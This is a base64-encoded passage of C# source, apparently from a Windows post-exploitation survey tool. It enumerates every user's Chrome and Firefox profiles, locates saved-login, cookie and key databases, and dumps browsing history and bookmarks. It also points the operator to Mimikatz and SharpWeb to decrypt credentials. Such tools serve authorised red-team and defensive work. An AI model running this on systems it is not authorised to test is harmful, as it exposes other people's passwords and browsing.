ICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIENoZWNrQ2hyb21lKCkKICAgICAgICB7CiAgICAgICAgICAgIC8vIGNoZWNrcyBpZiBDaHJvbWUgaGFzIGEgaGlzdG9yeSBkYXRhYmFzZQogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKElzSGlnaEludGVncml0eSgpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBDaGVja2luZyBmb3IgQ2hyb21lIChBbGwgVXNlcnMpID09PVxyXG4iKTsKCiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJGb2xkZXIgPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXFVzZXJzXFwiLCBFbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlKCJTeXN0ZW1Ecml2ZSIpKTsKICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBkaXJzID0gRGlyZWN0b3J5LkdldERpcmVjdG9yaWVzKHVzZXJGb2xkZXIpOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKHN0cmluZyBkaXIgaW4gZGlycykKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIGJvb2wgZm91bmQgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gcGFydHMgPSBkaXIuU3BsaXQoJ1xcJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyTmFtZSA9IHBhcnRzW3BhcnRzLkxlbmd0aCAtIDFdOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIShkaXIuRW5kc1dpdGgoIlB1YmxpYyIpIHx8IGRpci5FbmRzV2l0aCgiRGVmYXVsdCIpIHx8IGRpci5FbmRzV2l0aCgiRGVmYXVsdCBVc2VyIikgfHwgZGlyLkVuZHNXaXRoKCJBbGwgVXNlcnMiKSkpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyQ2hyb21lSGlzdG9yeVBhdGggPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXEFwcERhdGFcXExvY2FsXFxHb29nbGVcXENocm9tZVxcVXNlciBEYXRhXFxEZWZhdWx0XFxIaXN0b3J5IiwgZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChTeXN0ZW0uSU8uRmlsZS5FeGlzdHModXNlckNocm9tZUhpc3RvcnlQYXRoKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbKl0gQ2hyb21lIGhpc3RvcnkgZmlsZSBleGlzdHMgYXQgezB9IiwgdXNlckNocm9tZUhpc3RvcnlQYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgUnVuIHRoZSAnVHJpYWdlQ2hyb21lJyBjb21tYW5kXHJcbiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvdW5kID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyQ2hyb21lQ29va2llc1BhdGggPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXEFwcERhdGFcXExvY2FsXFxHb29nbGVcXENocm9tZVxcVXNlciBEYXRhXFxEZWZhdWx0XFxDb29raWVzIiwgZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChTeXN0ZW0uSU8uRmlsZS5FeGlzdHModXNlckNocm9tZUNvb2tpZXNQYXRoKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbKl0gQ2hyb21lIGNvb2tpZXMgZGF0YWJhc2UgZXhpc3RzIGF0IHswfSIsIHVzZXJDaHJvbWVDb29raWVzUGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIFJ1biB0aGUgTWltaWthdHogXCJkcGFwaTo6Y2hyb21lXCIgbW9kdWxlXHJcbiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvdW5kID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyQ2hyb21lTG9naW5EYXRhUGF0aCA9IFN0cmluZy5Gb3JtYXQoInswfVxcQXBwRGF0YVxcTG9jYWxcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXExvZ2luIERhdGEiLCBkaXIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFN5c3RlbS5JTy5GaWxlLkV4aXN0cyh1c2VyQ2hyb21lTG9naW5EYXRhUGF0aCkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgWypdIENocm9tZSBzYXZlZCBsb2dpbiBkYXRhYmFzZSBleGlzdHMgYXQgezB9IiwgdXNlckNocm9tZUxvZ2luRGF0YVBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICBSdW4gdGhlIE1pbWlrYXR6IFwiZHBhcGk6OmNocm9tZVwiIG1vZHVsZSBvciBTaGFycFdlYiAoaHR0cHM6Ly9naXRodWIuY29tL2RqaG9obnN0ZWluL1NoYXJwV2ViKVxyXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3VuZCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZm91bmQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gQ2hlY2tpbmcgZm9yIENocm9tZSAoQ3VycmVudCBVc2VyKSA9PT1cclxuIik7CiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJDaHJvbWVIaXN0b3J5UGF0aCA9IFN0cmluZy5Gb3JtYXQoInswfVxcQXBwRGF0YVxcTG9jYWxcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXEhpc3RvcnkiLCBTeXN0ZW0uRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiVVNFUlBST0ZJTEUiKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKFN5c3RlbS5JTy5GaWxlLkV4aXN0cyh1c2VyQ2hyb21lSGlzdG9yeVBhdGgpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgWypdIENocm9tZSBoaXN0b3J5IGZpbGUgZXhpc3RzIGF0IHswfSIsIHVzZXJDaHJvbWVIaXN0b3J5UGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICBSdW4gdGhlICdUcmlhZ2VDaHJvbWUnIGNvbW1hbmRcclxuIik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyQ2hyb21lQ29va2llc1BhdGggPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXEFwcERhdGFcXExvY2FsXFxHb29nbGVcXENocm9tZVxcVXNlciBEYXRhXFxEZWZhdWx0XFxDb29raWVzIiwgU3lzdGVtLkVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFibGUoIlVTRVJQUk9GSUxFIikpOwogICAgICAgICAgICAgICAgICAgIGlmIChTeXN0ZW0uSU8uRmlsZS5FeGlzdHModXNlckNocm9tZUNvb2tpZXNQYXRoKSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBDaHJvbWUgY29va2llcyBkYXRhYmFzZSBleGlzdHMgYXQgezB9IiwgdXNlckNocm9tZUNvb2tpZXNQYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIFJ1biB0aGUgTWltaWthdHogXCJkcGFwaTo6Y2hyb21lXCIgbW9kdWxlXHJcbiIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlckNocm9tZUxvZ2luRGF0YVBhdGggPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXEFwcERhdGFcXExvY2FsXFxHb29nbGVcXENocm9tZVxcVXNlciBEYXRhXFxEZWZhdWx0XFxMb2dpbiBEYXRhIiwgU3lzdGVtLkVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFibGUoIlVTRVJQUk9GSUxFIikpOwogICAgICAgICAgICAgICAgICAgIGlmIChTeXN0ZW0uSU8uRmlsZS5FeGlzdHModXNlckNocm9tZUxvZ2luRGF0YVBhdGgpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgWypdIENocm9tZSBzYXZlZCBsb2dpbiBkYXRhYmFzZSBleGlzdHMgYXQgezB9IiwgdXNlckNocm9tZUxvZ2luRGF0YVBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgUnVuIHRoZSBNaW1pa2F0eiBcImRwYXBpOjpjaHJvbWVcIiBtb2R1bGUgb3IgU2hhcnBXZWIgKGh0dHBzOi8vZ2l0aHViLmNvbS9kamhvaG5zdGVpbi9TaGFycFdlYikiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgW1hdIEV4Y2VwdGlvbjogezB9IiwgZXguTWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIFBhcnNlQ2hyb21lSGlzdG9yeShzdHJpbmcgcGF0aCwgc3RyaW5nIHVzZXIpCiAgICAgICAgewogICAgICAgICAgICAvLyBwYXJzZXMgYSBDaHJvbWUgaGlzdG9yeSBmaWxlIHZpYSByZWdleAogICAgICAgICAgICBpZiAoU3lzdGVtLklPLkZpbGUuRXhpc3RzKHBhdGgpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbiAgICBIaXN0b3J5ICh7MH0pOlxyXG4iLCB1c2VyKTsKICAgICAgICAgICAgICAgIFJlZ2V4IGhpc3RvcnlSZWdleCA9IG5ldyBSZWdleChAIihodHRwfGZ0cHxodHRwc3xmaWxlKTovLyhbXHdfLV0rKD86KD86XC5bXHdfLV0rKSspKShbXHcuLEA/Xj0lJjovfisjLV0qW1x3QD9ePSUmL34rIy1dKT8iKTsKCiAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICB1c2luZyAoU3RyZWFtUmVhZGVyIHIgPSBuZXcgU3RyZWFtUmVhZGVyKHBhdGgpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGxpbmU7CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgobGluZSA9IHIuUmVhZExpbmUoKSkgIT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgTWF0Y2ggbSA9IGhpc3RvcnlSZWdleC5NYXRjaChsaW5lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChtLlN1Y2Nlc3MpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIHswfSIsIG0uR3JvdXBzWzBdLlRvU3RyaW5nKCkuVHJpbSgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNhdGNoIChTeXN0ZW0uSU8uSU9FeGNlcHRpb24gZXhjZXB0aW9uKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuICAgIFt4XSBJTyBleGNlcHRpb24sIGhpc3RvcnkgZmlsZSBsaWtlbHkgaW4gdXNlIChpLmUuIEJyb3dzZXIgaXMgbGlrZWx5IHJ1bm5pbmcpOiAiLCBleGNlcHRpb24uTWVzc2FnZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4Y2VwdGlvbikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbiAgICBbeF0gRXhjZXB0aW9uOiB7MH0iLCBleGNlcHRpb24uTWVzc2FnZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIFBhcnNlQ2hyb21lQm9va21hcmtzKHN0cmluZyBwYXRoLCBzdHJpbmcgdXNlcikKICAgICAgICB7CiAgICAgICAgICAgIC8vIHBhcnNlcyBhIENocm9tZSBib29rbWFya3MKICAgICAgICAgICAgaWYgKFN5c3RlbS5JTy5GaWxlLkV4aXN0cyhwYXRoKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG4gICAgQm9va21hcmtzICh7MH0pOlxyXG4iLCB1c2VyKTsKCiAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgY29udGVudHMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsVGV4dChwYXRoKTsKCiAgICAgICAgICAgICAgICAgICAgLy8gcmVmZXJlbmNlOiBodHRwOi8vd3d3LnRvbWFzdmVyYS5jb20vcHJvZ3JhbW1pbmcvdXNpbmctamF2YXNjcmlwdHNlcmlhbGl6ZXItdG8tcGFyc2UtanNvbi1vYmplY3RzLwogICAgICAgICAgICAgICAgICAgIEphdmFTY3JpcHRTZXJpYWxpemVyIGpzb24gPSBuZXcgSmF2YVNjcmlwdFNlcmlhbGl6ZXIoKTsKICAgICAgICAgICAgICAgICAgICBEaWN0aW9uYXJ5PHN0cmluZywgb2JqZWN0PiBkZXNlcmlhbGl6ZWQgPSBqc29uLkRlc2VyaWFsaXplPERpY3Rpb25hcnk8c3RyaW5nLCBvYmplY3Q+Pihjb250ZW50cyk7CiAgICAgICAgICAgICAgICAgICAgRGljdGlvbmFyeTxzdHJpbmcsIG9iamVjdD4gcm9vdHMgPSAoRGljdGlvbmFyeTxzdHJpbmcsIG9iamVjdD4pZGVzZXJpYWxpemVkWyJyb290cyJdOwogICAgICAgICAgICAgICAgICAgIERpY3Rpb25hcnk8c3RyaW5nLCBvYmplY3Q+IGJvb2ttYXJrX2JhciA9IChEaWN0aW9uYXJ5PHN0cmluZywgb2JqZWN0Pilyb290c1siYm9va21hcmtfYmFyIl07CiAgICAgICAgICAgICAgICAgICAgU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCBjaGlsZHJlbiA9IChTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0KWJvb2ttYXJrX2JhclsiY2hpbGRyZW4iXTsKCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoRGljdGlvbmFyeTxzdHJpbmcsIG9iamVjdD4gZW50cnkgaW4gY2hpbGRyZW4pCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgTmFtZTogezB9IiwgZW50cnlbIm5hbWUiXS5Ub1N0cmluZygpLlRyaW0oKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICBVcmw6ICB7MH1cclxuIiwgZW50cnlbInVybCJdLlRvU3RyaW5nKCkuVHJpbSgpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBjYXRjaCAoU3lzdGVtLklPLklPRXhjZXB0aW9uIGV4Y2VwdGlvbikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbiAgICBbeF0gSU8gZXhjZXB0aW9uLCBCb29rbWFya3MgZmlsZSBsaWtlbHkgaW4gdXNlIChpLmUuIENocm9tZSBpcyBsaWtlbHkgcnVubmluZykuIiwgZXhjZXB0aW9uLk1lc3NhZ2UpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleGNlcHRpb24pCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG4gICAgW3hdIEV4Y2VwdGlvbjogezB9IiwgZXhjZXB0aW9uLk1lc3NhZ2UpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBUcmlhZ2VDaHJvbWUoKQogICAgICAgIHsKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmIChJc0hpZ2hJbnRlZ3JpdHkoKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gQ2hyb21lIChBbGwgVXNlcnMpID09PSIpOwoKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlckZvbGRlciA9IFN0cmluZy5Gb3JtYXQoInswfVxcVXNlcnNcXCIsIEVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFibGUoIlN5c3RlbURyaXZlIikpOwogICAgICAgICAgICAgICAgICAgIHN0cmluZ1tdIGRpcnMgPSBEaXJlY3RvcnkuR2V0RGlyZWN0b3JpZXModXNlckZvbGRlcik7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIGRpciBpbiBkaXJzKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gcGFydHMgPSBkaXIuU3BsaXQoJ1xcJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyTmFtZSA9IHBhcnRzW3BhcnRzLkxlbmd0aCAtIDFdOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIShkaXIuRW5kc1dpdGgoIlB1YmxpYyIpIHx8IGRpci5FbmRzV2l0aCgiRGVmYXVsdCIpIHx8IGRpci5FbmRzV2l0aCgiRGVmYXVsdCBVc2VyIikgfHwgZGlyLkVuZHNXaXRoKCJBbGwgVXNlcnMiKSkpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyQ2hyb21lSGlzdG9yeVBhdGggPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXEFwcERhdGFcXExvY2FsXFxHb29nbGVcXENocm9tZVxcVXNlciBEYXRhXFxEZWZhdWx0XFxIaXN0b3J5IiwgZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBhcnNlQ2hyb21lSGlzdG9yeSh1c2VyQ2hyb21lSGlzdG9yeVBhdGgsIHVzZXJOYW1lKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlckNocm9tZUJvb2ttYXJrUGF0aCA9IFN0cmluZy5Gb3JtYXQoInswfVxcQXBwRGF0YVxcTG9jYWxcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXEJvb2ttYXJrcyIsIGRpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBQYXJzZUNocm9tZUJvb2ttYXJrcyh1c2VyQ2hyb21lQm9va21hcmtQYXRoLCB1c2VyTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IENocm9tZSAoQ3VycmVudCBVc2VyKSA9PT0iKTsKCiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJDaHJvbWVIaXN0b3J5UGF0aCA9IFN0cmluZy5Gb3JtYXQoInswfVxcQXBwRGF0YVxcTG9jYWxcX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gICAgICAgIHsKICAgICAgICAgICAgICAgIGlmIChJc0hpZ2hJbnRlZ3JpdHkoKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gQ2hlY2tpbmcgZm9yIEZpcmVmb3ggKEFsbCBVc2VycykgPT09XHJcbiIpOwoKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlckZvbGRlciA9IFN0cmluZy5Gb3JtYXQoInswfVxcVXNlcnNcXCIsIEVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFibGUoIlN5c3RlbURyaXZlIikpOwogICAgICAgICAgICAgICAgICAgIHN0cmluZ1tdIGRpcnMgPSBEaXJlY3RvcnkuR2V0RGlyZWN0b3JpZXModXNlckZvbGRlcik7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIGRpciBpbiBkaXJzKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gcGFydHMgPSBkaXIuU3BsaXQoJ1xcJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyTmFtZSA9IHBhcnRzW3BhcnRzLkxlbmd0aCAtIDFdOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIShkaXIuRW5kc1dpdGgoIlB1YmxpYyIpIHx8IGRpci5FbmRzV2l0aCgiRGVmYXVsdCIpIHx8IGRpci5FbmRzV2l0aCgiRGVmYXVsdCBVc2VyIikgfHwgZGlyLkVuZHNXaXRoKCJBbGwgVXNlcnMiKSkpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvb2wgZm91bmQgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyRmlyZWZveEJhc2VQYXRoID0gU3RyaW5nLkZvcm1hdCgiezB9XFxBcHBEYXRhXFxSb2FtaW5nXFxNb3ppbGxhXFxGaXJlZm94XFxQcm9maWxlc1xcIiwgZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChTeXN0ZW0uSU8uRGlyZWN0b3J5LkV4aXN0cyh1c2VyRmlyZWZveEJhc2VQYXRoKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBkaXJlY3RvcmllcyA9IERpcmVjdG9yeS5HZXREaXJlY3Rvcmllcyh1c2VyRmlyZWZveEJhc2VQYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgZGlyZWN0b3J5IGluIGRpcmVjdG9yaWVzKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGZpcmVmb3hIaXN0b3J5RmlsZSA9IFN0cmluZy5Gb3JtYXQoInswfVxcezF9IiwgZGlyZWN0b3J5LCAicGxhY2VzLnNxbGl0ZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoU3lzdGVtLklPLkZpbGUuRXhpc3RzKGZpcmVmb3hIaXN0b3J5RmlsZSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBGaXJlZm94IGhpc3RvcnkgZmlsZSBleGlzdHMgYXQgezB9IiwgZmlyZWZveEhpc3RvcnlGaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICBSdW4gdGhlICdUcmlhZ2VGaXJlZm94JyBjb21tYW5kXHJcbiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm91bmQgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBmaXJlZm94Q3JlZGVudGlhbEZpbGUzID0gU3RyaW5nLkZvcm1hdCgiezB9XFx7MX0iLCBkaXJlY3RvcnksICJrZXkzLmRiIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChTeXN0ZW0uSU8uRmlsZS5FeGlzdHMoZmlyZWZveENyZWRlbnRpYWxGaWxlMykpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBGaXJlZm94IGNyZWRlbnRpYWwgZmlsZSBleGlzdHMgYXQgezB9IiwgZmlyZWZveENyZWRlbnRpYWxGaWxlMyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgUnVuIFNoYXJwV2ViIChodHRwczovL2dpdGh1Yi5jb20vZGpob2huc3RlaW4vU2hhcnBXZWIpIFxyXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvdW5kID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgZmlyZWZveENyZWRlbnRpYWxGaWxlNCA9IFN0cmluZy5Gb3JtYXQoInswfVxcezF9IiwgZGlyZWN0b3J5LCAia2V5NC5kYiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoU3lzdGVtLklPLkZpbGUuRXhpc3RzKGZpcmVmb3hDcmVkZW50aWFsRmlsZTQpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbKl0gRmlyZWZveCBjcmVkZW50aWFsIGZpbGUgZXhpc3RzIGF0IHswfSIsIGZpcmVmb3hDcmVkZW50aWFsRmlsZTQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgIFJ1biBTaGFycFdlYiAoaHR0cHM6Ly9naXRodWIuY29tL2RqaG9obnN0ZWluL1NoYXJwV2ViKSBcclxuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3VuZCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZvdW5kKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAg